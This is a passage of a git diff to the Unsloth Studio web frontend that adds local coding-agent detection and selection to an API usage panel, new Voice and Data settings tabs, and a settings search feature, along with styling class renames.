@@ -454,6 +502,78 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     void fetchDeviceType({ force: true });
   }, []);
 
+  // Fetching is the only job of this effect: populate availableAgents/
+  // detectedAgents (or clear them). Which agent gets auto-picked from that
+  // list is derived separately below, so it can react to the loaded model
+  // changing too, not just a fresh fetch.
+  useEffect(() => {
+    // Browser loopback URLs can be SSH/local forwards, so only the desktop app
+    // may use backend PATH checks to mark or auto-pick local agents.
+    if (!localAgentDetection) {
+      setDetectedAgents([]);
+      // A previously auto-picked agent was only ever verified against the
+      // Unsloth backend's PATH, which is meaningless now that this panel no
+      // longer targets a loopback base -- don't leave it selected, but
+      // never touch a choice the user made by hand.
+      if (!agentPickedByUserRef.current) {
+        setAgent(DEFAULT_AGENT);
+      }
+      return;
+    }
+
+    let cancelled = false;
+    void loadCodingAgents()
+      .then((info) => {
+        if (cancelled) return;
+        setAvailableAgents(info.agents);
+        setDetectedAgents(info.detected);
+      })
+      .catch(() => {
+        // Best-effort: keep the default agent list and let the user pick manually.
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [localAgentDetection]);
+
+  // Single source of truth for the auto-picked agent, re-derived whenever
+  // the detected list or the loaded model's GGUF-ness changes -- in either
+  // direction. `codex` needs a GGUF model (unsloth_cli's
+  // _require_gguf_for_codex exits otherwise), so it's only preferred once
+  // the loaded model actually qualifies; loading a GGUF model *after* a
+  // non-GGUF-gated fallback picked something else re-steers back to codex
+  // just as loading a non-GGUF model steers away from it. Never overrides a
+  // choice the user made by hand.
+  // activeGgufVariant alone only covers an HF-repo GGUF pick (a specific
+  // quant variant string) -- a direct local .gguf file (custom folder /
+  // LM Studio / drag-drop) is just as much a GGUF the codex preflight would
+  // accept, but never has a "variant" to report, and would otherwise read as
+  // non-GGUF here. activeNativePathToken covers the drag-drop/picked-file
+  // case; ggufContextLength is only ever populated when the backend's
+  // /api/inference/status last reported is_gguf: true for the active model
+  // (see applyActiveModelStatusToStore), so together these three cover every
+  // path a model can be GGUF through, matching the same is_gguf-or-equivalent
+  // check hasGgufSource applies to a staged pick.
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const activeNativePathToken = useChatRuntimeStore((s) => s.activeNativePathToken);
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  useEffect(() => {
+    if (agentPickedByUserRef.current) return;
+    if (detectedAgents.length === 0) return;
+    const isGguf =
+      activeGgufVariant != null || activeNativePathToken != null || ggufContextLength != null;
+    const preferred = detectedAgents.find((a) => a !== "codex" || isGguf);
+    if (preferred) {
+      setAgent(preferred);
+    } else if (agent === "codex" && !isGguf) {
+      // codex was auto-picked while a GGUF model was active and it's the
+      // only detected agent; now that the model isn't GGUF anymore, nothing
+      // detected is actually runnable, so fall back to the default instead
+      // of leaving a codex command unsloth_cli will reject.
+      setAgent(DEFAULT_AGENT);
+    }
+  }, [agent, detectedAgents, activeGgufVariant, activeNativePathToken, ggufContextLength]);
+
   useEffect(() => {
     let cancelled = false;
     void loadOpenAIAutoSwitchSettings()
@@ -470,9 +590,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
 
   const model = useLoadedModelName();
   const key = apiKey || KEY_PLACEHOLDER;
-  const origin = typeof window !== "undefined" ? window.location.origin : "";
-  const base =
-    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
 
   const autoSwitchOn = autoSwitch?.enabled ?? false;
   const snippets = useMemo(
@@ -481,8 +598,8 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   // Agent command must target the server the panel shows, not the :8888 default.
   const agentCommand = useMemo(
-    () => buildAgentCommand(base, key, os),
-    [base, key, os],
+    () => buildAgentCommand(base, key, os, agent),
+    [base, key, os, agent],
   );
 
   const osAware = OS_AWARE[lang];
@@ -551,14 +668,14 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               onCheckedChange={handleToggleAutoSwitch}
               aria-label={t("settings.general.modelAutoSwitch.enable")}
             />
-            <span className="text-[11px] font-medium text-foreground">
+            <span className="text-ui-11 font-medium text-foreground">
               {t("settings.general.modelAutoSwitch.enable")}
             </span>
             <Tooltip>
               <TooltipTrigger asChild={true}>
                 <button
                   type="button"
-                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                   aria-label={t(
                     "settings.general.modelAutoSwitch.enableDescription",
                   )}
@@ -569,7 +686,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   />
                 </button>
               </TooltipTrigger>
-              <TooltipContent className="max-w-[260px] text-[11px] leading-snug">
+              <TooltipContent className="max-w-[260px] text-ui-11 leading-snug">
                 {t("settings.general.modelAutoSwitch.enableDescription")}
               </TooltipContent>
             </Tooltip>
@@ -584,7 +701,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                 onCheckedChange={handleToggleTunnel}
                 aria-label={t("settings.apiKeys.secureHttps")}
               />
-              <span className="text-[11px] font-medium text-foreground">
+              <span className="text-ui-11 font-medium text-foreground">
                 {t("settings.apiKeys.secureHttps")}
               </span>
               {/* Only when not launched with --secure: the raw 0.0.0.0 port is
@@ -594,7 +711,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   <TooltipTrigger asChild={true}>
                     <button
                       type="button"
-                      className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={t("settings.apiKeys.secureHttpsHint")}
                     >
                       <HugeiconsIcon
@@ -603,7 +720,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                       />
                     </button>
                   </TooltipTrigger>
-                  <TooltipContent className="max-w-[260px] text-[11px] leading-snug">
+                  <TooltipContent className="max-w-[260px] text-ui-11 leading-snug">
                     {t("settings.apiKeys.secureHttpsHint")}
                   </TooltipContent>
                 </Tooltip>
@@ -613,7 +730,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               type="button"
               onClick={handleCopyUrl}
               className={cn(
-                "flex min-w-0 items-center gap-1 rounded px-1.5 py-1 text-[11px] text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "flex min-w-0 items-center gap-1 rounded px-1.5 py-1 text-ui-11 text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 !useTunnel && "opacity-50",
               )}
               title={cloudflareUrl}
@@ -642,7 +759,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   onClick={() => setLang(tab.id)}
                   aria-pressed={active}
                   className={cn(
-                    "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                    "rounded-full px-2.5 py-1 text-ui-11 font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                     active
                       ? "hub-tab-toggle-pill text-foreground"
                       : "text-muted-foreground hover:text-foreground",
@@ -661,7 +778,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               onClick={() => setOs("unix")}
               aria-pressed={os === "unix"}
               className={cn(
-                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "rounded-full px-2.5 py-1 text-ui-11 font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 os === "unix"
                   ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
@@ -674,7 +791,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               onClick={() => setOs("windows")}
               aria-pressed={os === "windows"}
               className={cn(
-                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "rounded-full px-2.5 py-1 text-ui-11 font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 os === "windows"
                   ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
@@ -688,7 +805,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
           <button
             type="button"
             onClick={handleCopy}
-            className="absolute right-2 top-2 z-10 flex items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-1 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+            className="absolute right-2 top-2 z-10 flex items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-1 text-ui-11 text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             aria-label={t("settings.apiKeys.copySnippet")}
           >
             <HugeiconsIcon
@@ -704,20 +821,56 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
           />
         </div>
         <div className="flex min-w-0 flex-col gap-1.5 border-t border-border px-3 py-2.5">
-          <span className="text-[11px] font-semibold text-foreground">
+          <span className="text-ui-11 font-semibold text-foreground">
             {t("settings.apiKeys.codingAgents")}
           </span>
-          <span className="text-[11px] leading-snug text-muted-foreground">
+          <span className="text-ui-11 leading-snug text-muted-foreground">
             {t("settings.apiKeys.codingAgentsHint")}
           </span>
+          <div className="flex min-w-0 flex-wrap items-center gap-1">
+            {availableAgents.map((id) => {
+              const installed = detectedAgents.includes(id);
+              const active = agent === id;
+              return (
+                <button
+                  key={id}
+                  type="button"
+                  onClick={() => {
+                    agentPickedByUserRef.current = true;
+                    setAgent(id);
+                  }}
+                  aria-pressed={active}
+                  title={
+                    installed
+                      ? t("settings.apiKeys.codingAgentDetected")
+                      : undefined
+                  }
+                  className={cn(
+                    "flex items-center gap-1 rounded-full px-2.5 py-1 text-ui-11 font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
+                    active
+                      ? "hub-tab-toggle-pill text-foreground"
+                      : "text-muted-foreground hover:text-foreground",
+                  )}
+                >
+                  {AGENT_LABELS[id] ?? id}
+                  {installed ? (
+                    <span
+                      aria-hidden="true"
+                      className="size-1.5 rounded-full bg-emerald-500"
+                    />
+                  ) : null}
+                </button>
+              );
+            })}
+          </div>
           <div className="relative mt-0.5 min-w-0">
-            <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-[11px] text-foreground">
+            <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-ui-11 text-foreground">
               {agentCommand}
             </code>
             <button
               type="button"
               onClick={handleCopyAgent}
-              className="absolute right-1.5 top-1/2 flex -translate-y-1/2 items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-0.5 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              className="absolute right-1.5 top-1/2 flex -translate-y-1/2 items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-0.5 text-ui-11 text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
               aria-label={t("settings.apiKeys.copySnippet")}
             >
               <HugeiconsIcon
@@ -726,11 +879,17 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               />
             </button>
           </div>
-          <span className="text-[11px] leading-snug text-muted-foreground">
-            {t("settings.apiKeys.codingAgentsSwap")}
+          <span className="text-ui-11 leading-snug text-muted-foreground">
+            {detectedAgents.length > 0
+              ? t("settings.apiKeys.codingAgentsDetectedHint", {
+                  agents: detectedAgents
+                    .map((id) => AGENT_LABELS[id] ?? id)
+                    .join(", "),
+                })
+              : t("settings.apiKeys.codingAgentsSwap")}
           </span>
         </div>
-        <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
+        <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-ui-11 text-muted-foreground">
           <span>{t("settings.apiKeys.setupDocs")}</span>
           {DOC_LINKS.map((link) => (
             <a
@@ -738,7 +897,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               href={link.href}
               target="_blank"
               rel="noreferrer"
-              className="inline-flex items-center gap-0.5 rounded font-medium text-foreground underline decoration-border underline-offset-2 transition-colors hover:decoration-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              className="inline-flex items-center gap-0.5 rounded font-medium text-foreground underline decoration-border underline-offset-2 transition-colors hover:decoration-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             >
               {link.label}
               <HugeiconsIcon icon={ArrowUpRight01Icon} className="size-3" />
diff --git a/studio/frontend/src/features/settings/index.ts b/studio/frontend/src/features/settings/index.ts
index 364ca1611f..f27100a322 100644
--- a/studio/frontend/src/features/settings/index.ts
+++ b/studio/frontend/src/features/settings/index.ts
@@ -2,11 +2,32 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 export { SettingsDialog } from "./settings-dialog";
+export { loadEmbeddingModelSettings } from "./api/embedding-model";
 export {
   loadPersonalization,
   savePersonalization,
 } from "./api/personalization";
-export { setTheme, useTheme } from "./stores/theme-store";
+export {
+  isPalette,
+  setPalette,
+  setTheme,
+  usePalette,
+  useTheme,
+} from "./stores/theme-store";
+export {
+  DEFAULT_CUSTOMIZATION,
+  applyCustomizationToDocument,
+  isDefaultCustomization,
+  prefersReducedMotion,
+  sanitizeCustomization,
+  useAppearanceCustomStore,
+} from "./stores/appearance-custom-store";
+export type {
+  AppearanceCustomization,
+  CustomModeColors,
+  ReduceMotionSetting,
+} from "./stores/appearance-custom-store";
+export { useMonitorOverlayStore } from "./stores/monitor-overlay-store";
 export type {
   Personalization,
   PersonalizationAppearance,
@@ -14,4 +35,4 @@ export type {
 } from "./api/personalization";
 export { useSettingsDialogStore } from "./stores/settings-dialog-store";
 export type { SettingsTab } from "./stores/settings-dialog-store";
-export type { ResolvedTheme, Theme } from "./stores/theme-store";
+export type { Palette, ResolvedTheme, Theme } from "./stores/theme-store";
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0d201edc0d..7a3a3c58f7 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { FloatingMonitor } from "@/components/floating-monitor";
 import {
   Dialog,
   DialogContent,
@@ -9,20 +10,31 @@ import {
 } from "@/components/ui/dialog";
 import { type TranslationKey, useT } from "@/i18n";
 import { cn } from "@/lib/utils";
+import { MicIcon } from "@/lib/mic-icon";
 import {
   Cancel01Icon,
   CloudIcon,
   CpuIcon,
+  DatabaseSettingIcon,
   Globe02Icon,
   HelpCircleIcon,
   Message01Icon,
   PaintBrush02Icon,
+  Search01Icon,
   Settings02Icon,
   UserIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { motion, useReducedMotion } from "motion/react";
-import { useEffect, useRef } from "react";
+import {
+  type FC,
+  useDeferredValue,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+} from "react";
+import { SETTINGS_SEARCH_INDEX } from "./settings-search";
 import {
   type SettingsTab,
   useSettingsDialogStore,
@@ -32,15 +44,18 @@ import { ApiKeysTab } from "./tabs/api-keys-tab";
 import { AppearanceTab } from "./tabs/appearance-tab";
 import { ChatTab } from "./tabs/chat-tab";
 import { ConnectionsTab } from "./tabs/connections-tab";
+import { DataTab } from "./tabs/data-tab";
 import { GeneralTab } from "./tabs/general-tab";
 import { ProfileTab } from "./tabs/profile-tab";
 import { ResourcesTab } from "./tabs/resources-tab";
-import { FloatingMonitor } from "@/components/floating-monitor";
+import { VoiceTab } from "./tabs/voice-tab";
 
 interface TabDef {
   id: SettingsTab;
   labelKey: TranslationKey;
-  icon: typeof Settings02Icon;
+  icon?: typeof Settings02Icon;
+  /** Plain component icon, for icons shared with chat (not hugeicons). */
+  iconComponent?: FC<{ className?: string }>;
   badgeKey?: TranslationKey;
 }
 
@@ -56,6 +71,7 @@ const TABS: TabDef[] = [
     id: "resources",
     labelKey: "settings.tabs.resources",
     icon: CpuIcon,
+    badgeKey: "common.new",
   },
   {
     id: "chat",
@@ -72,6 +88,17 @@ const TABS: TabDef[] = [
     id: "connections",
     labelKey: "settings.tabs.connections",
     icon: CloudIcon,
+  },
+  {
+    id: "voice",
+    labelKey: "settings.tabs.voice",
+    iconComponent: MicIcon,
+    badgeKey: "common.new",
+  },
+  {
+    id: "data",
+    labelKey: "settings.tabs.data",
+    icon: DatabaseSettingIcon,
     badgeKey: "common.new",
   },
   { id: "about", labelKey: "settings.tabs.about", icon: HelpCircleIcon },
@@ -89,8 +116,12 @@ function renderTab(tab: SettingsTab) {
       return <ResourcesTab />;
     case "chat":
       return <ChatTab />;
+    case "voice":
+      return <VoiceTab />;
     case "connections":
       return <ConnectionsTab />;
+    case "data":
+      return <DataTab />;
     case "api-keys":
       return <ApiKeysTab />;
     case "about":
@@ -106,13 +137,90 @@ export function SettingsDialog() {
   const closeDialog = useSettingsDialogStore((s) => s.closeDialog);
   const opener = useSettingsDialogStore((s) => s.opener);
   const reduced = useReducedMotion();
+  // Mounting a heavy tab panel (System, Connections) in the same commit as
+  // the nav highlight makes the highlight lag the click. Render the panel
+  // from a deferred value so the nav updates first.
+  const panelTab = useDeferredValue(activeTab);
+  const [query, setQuery] = useState("");
+
+  const results = useMemo(() => {
+    const q = query.trim().toLowerCase();
+    if (!q) return null;
+    return TABS.map((tab) => {
+      const tabLabel = t(tab.labelKey);
+      const entries = SETTINGS_SEARCH_INDEX[tab.id]
+        .map((key) => t(key))
+        .filter((label) => label.toLowerCase().includes(q));
+      const deduped = [...new Set(entries)];
+      return {
+        tab,
+        tabLabel,
+        entries: deduped,
+        tabMatches: tabLabel.toLowerCase().includes(q),
+      };
+    }).filter((r) => r.tabMatches || r.entries.length > 0);
+  }, [query, t]);
+
+  const [pendingScroll, setPendingScroll] = useState<{
+    tab: SettingsTab;
+    entry: string;
+  } | null>(null);
+  const mainScrollRef = useRef<HTMLDivElement | null>(null);
+
+  const openResult = (tab: SettingsTab, entry?: string) => {
+    setActiveTab(tab);
+    setQuery("");
+    setPendingScroll(entry ? { tab, entry } : null);
+  };
+
+  // Scroll to the row/section a search result points at once the tab has
+  // rendered, and flash it so the eye lands on the right place. The tab panel
+  // renders deferred, so retry across frames until the row exists instead of
+  // racing a single fixed delay (which silently missed under render lag).
+  useEffect(() => {
+    if (!pendingScroll) return;
+    // Wait until the destination tab is mounted before matching, so a same-named
+    // row in the previous tab (for example "Storage") is not scrolled to instead.
+    if (panelTab !== pendingScroll.tab) return;
+    let frame = 0;
+    let tries = 0;
+    const attempt = () => {
+      const root = mainScrollRef.current;
+      const target = root
+        ? [
+            ...root.querySelectorAll<HTMLElement>("[data-settings-label]"),
+          ].find((el) => el.dataset.settingsLabel === pendingScroll.entry)
+        : undefined;
+      if (target) {
+        target.scrollIntoView({ behavior: "smooth", block: "center" });
+        target.classList.add("settings-search-hit");
+        window.setTimeout(
+          () => target.classList.remove("settings-search-hit"),
+          1600,
+        );
+        setPendingScroll(null);
+      } else if (tries++ < 30) {
+        frame = window.requestAnimationFrame(attempt);
+      } else {
+        setPendingScroll(null);
+      }
+    };
+    frame = window.requestAnimationFrame(attempt);
+    return () => window.cancelAnimationFrame(frame);
+  }, [pendingScroll, panelTab]);
+
+  useEffect(() => {
+    if (!open) setQuery("");
+  }, [open]);
   const tabButtonRefs = useRef<Record<SettingsTab, HTMLButtonElement | null>>({
     general: null,
     profile: null,
     appearance: null,
     resources: null,
     chat: null,
+    voice: null,
     connections: null,
+    data: null,
     "api-keys": null,
     about: null,
   });
@@ -141,9 +249,9 @@ export function SettingsDialog() {
             }
           }}
           className={cn(
-            // Cap at 820px but shrink to the viewport so it doesn't clip on
-            // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
-            "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
+            // Cap at 880px but shrink to the viewport so it doesn't clip on
+            // iPad-portrait widths where a fixed width overflows.
+            "settings-surface !max-w-[min(880px,calc(100vw-2rem))] h-[560px] w-[min(880px,calc(100vw-2rem))] p-0 overflow-hidden",
             // Soft shadow, no outline ring. Pin --radius to the light value so
             // corner rounding matches in dark mode.
             "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
@@ -156,12 +264,93 @@ export function SettingsDialog() {
           <DialogDescription className="sr-only">
             {t("settings.dialog.description")}
           </DialogDescription>
-          <div className="flex h-full min-h-0 max-sm:flex-col">
-            <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
-              <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
+          {/* Keep tab content from expanding the dialog grid. */}
+          <div className="flex h-full min-h-0 min-w-0 w-full max-sm:flex-col">
+            <aside className="font-heading flex w-[248px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
+              <div className="relative mx-1 mt-3 mb-2 max-sm:hidden">
+                <HugeiconsIcon
+                  icon={Search01Icon}
+                  strokeWidth={2}
+                  className="pointer-events-none absolute top-1/2 left-2.5 size-4 -translate-y-1/2 text-muted-foreground"
+                />
+                <input
+                  value={query}
+                  onChange={(e) => setQuery(e.target.value)}
+                  onKeyDown={(e) => {
+                    if (e.key === "Escape" && query) {
+                      e.stopPropagation();
+                      setQuery("");
+                    }
+                  }}
+                  placeholder={t("settings.dialog.searchPlaceholder")}
+                  aria-label={t("settings.dialog.searchPlaceholder")}
+                  className="h-8 w-full rounded-full border border-border bg-background pr-8 pl-8 text-sm text-foreground outline-none transition-colors placeholder:text-muted-foreground focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06]"
+                />
+                {query && (
+                  <button
+                    type="button"
+                    onClick={() => setQuery("")}
+                    aria-label={t("settings.dialog.closeAriaLabel")}
+                    className="absolute top-1/2 right-2 flex size-5 -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground hover:text-foreground"
+                  >
+                    <HugeiconsIcon icon={Cancel01Icon} className="size-3.5" />
+                  </button>
+                )}
+              </div>
+              {results ? (
+                <div className="hover-scrollbar flex min-h-0 flex-1 flex-col gap-1 overflow-y-auto px-1 pb-1 max-sm:hidden">
+                  {results.length === 0 ? (
+                    <p className="px-3 py-2 text-sm text-muted-foreground">
+                      {t("settings.dialog.searchNoResults")}
+                    </p>
+                  ) : (
+                    results.map(({ tab, tabLabel, entries }) => (
+                      <div key={tab.id} className="flex flex-col">
+                        <button
+                          type="button"
+                          onClick={() => openResult(tab.id)}
+                          className="flex h-[30px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-ui-13p5 font-medium text-muted-foreground transition-colors hover:bg-accent hover:text-accent-foreground"
+                        >
+                          {tab.iconComponent ? (
+                            <tab.iconComponent className="size-icon shrink-0" />
+                          ) : tab.icon ? (
+                            <HugeiconsIcon
+                              icon={tab.icon}
+                              strokeWidth={1.75}
+                              className="size-icon shrink-0"
+                            />
+                          ) : null}
+                          <span className="min-w-0 truncate">{tabLabel}</span>
+                        </button>
+                        {entries.map((entry) => (
+                          <button
+                            key={entry}
+                            type="button"
+                            onClick={() => openResult(tab.id, entry)}
+                            className="flex h-[30px] items-center rounded-full pl-10 pr-2.5 text-left text-ui-14 text-foreground transition-colors hover:bg-accent hover:text-accent-foreground"
+                          >
+                            <span className="min-w-0 truncate">{entry}</span>
+                          </button>
+                        ))}
+                      </div>
+                    ))
+                  )}
+                </div>
+              ) : null}
+              <p
+                className={cn(
+                  "pl-4 pt-3 pb-2.5 text-ui-13 font-medium text-muted-foreground max-sm:hidden",
+                  results !== null && "hidden",
+                )}
+              >
                 {t("settings.dialog.title")}
-              </h2>
-              <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
+              </p>
+              <nav
+                className={cn(
+                  "flex flex-col gap-0.5 px-1 max-sm:flex-row max-sm:overflow-x-auto",
+                  results !== null && "max-sm:flex hidden",
+                )}
+              >
                 {TABS.map((tab) => {
                   const active = activeTab === tab.id;
                   return (
@@ -173,40 +362,46 @@ export function SettingsDialog() {
                       type="button"
                       onClick={() => setActiveTab(tab.id)}
                       className={cn(
-                        "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
+                        "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-ui-14p5 leading-ui-19 tracking-nav font-medium transition-colors",
                         "max-sm:shrink-0",
-                        "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
+                        "focus-visible:outline-none",
+                        // The active pill already marks the current tab, so
+                        // only unselected items get a keyboard focus ring.
                         active
-                          ? "text-black dark:text-white"
-                          : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
+                          ? "text-accent-foreground"
+                          : "text-[#383835] dark:text-[#c7c7c4] hover:bg-accent hover:text-accent-foreground focus-visible:ring-1 focus-visible:ring-ring",
                       )}
                     >
                       {active && (
                         <motion.span
                           layoutId="settings-active-pill"
-                          className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
+                          className="absolute inset-0 rounded-full bg-accent"
                           transition={
                             reduced
                               ? { duration: 0 }
                               : {
-                                type: "spring",
-                                stiffness: 500,
-                                damping: 35,
-                                mass: 0.5,
-                              }
+                                  type: "spring",
+                                  stiffness: 500,
+                                  damping: 35,
+                                  mass: 0.5,
+                                }
                           }
                         />
                       )}
-                      <HugeiconsIcon
-                        icon={tab.icon}
-                        strokeWidth={1.75}
-                        className="relative z-10 size-icon"
-                      />
+                      {tab.iconComponent ? (
+                        <tab.iconComponent className="relative z-10 size-icon" />
+                      ) : tab.icon ? (
+                        <HugeiconsIcon
+                          icon={tab.icon}
+                          strokeWidth={1.75}
+                          className="relative z-10 size-icon"
+                        />
+                      ) : null}
                       <span className="relative z-10 min-w-0 truncate">
                         {t(tab.labelKey)}
                       </span>
                       {tab.badgeKey ? (
-                        <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
+                        <span className="relative z-10 ml-auto rounded-full bg-control-accent/10 px-2 py-1 text-ui-10 leading-none font-semibold text-control-accent">
                           {t(tab.badgeKey)}
                         </span>
                       ) : null}
@@ -220,13 +415,16 @@ export function SettingsDialog() {
               <button
                 type="button"
                 onClick={closeDialog}
-                className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-accent hover:text-accent-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                 aria-label={t("settings.dialog.closeAriaLabel")}
               >
                 <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
               </button>
-              <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
-                {renderTab(activeTab)}
+              <div
+                ref={mainScrollRef}
+                className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]"
+              >
+                {renderTab(panelTab)}
               </div>
             </main>
           </div>
diff --git a/studio/frontend/src/features/settings/settings-search.ts b/studio/frontend/src/features/settings/settings-search.ts
new file mode 100644
index 0000000000..63b492878f
--- /dev/null
+++ b/studio/frontend/src/features/settings/settings-search.ts
@@ -0,0 +1,133 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { TranslationKey } from "@/i18n";
+import type { SettingsTab } from "./stores/settings-dialog-store";
+
+/**
+ * Searchable entries per tab: the label/title keys rendered by each tab.
+ * Tab names themselves always match, so tabs without translatable rows
+ * (profile, connections) are still reachable from search.
+ */
+export const SETTINGS_SEARCH_INDEX: Record<SettingsTab, TranslationKey[]> = {
+  general: [
+    "settings.general.account",
+    "settings.general.password",
+    "settings.general.huggingFaceToken",
+    "settings.general.gettingStarted",
+    "settings.general.startOnboarding",
+    "settings.appearance.language.title",
+    "settings.appearance.language.label",
+    "settings.general.notifications.sectionTitle",
+    "settings.general.notifications.showLlamaUpdates",
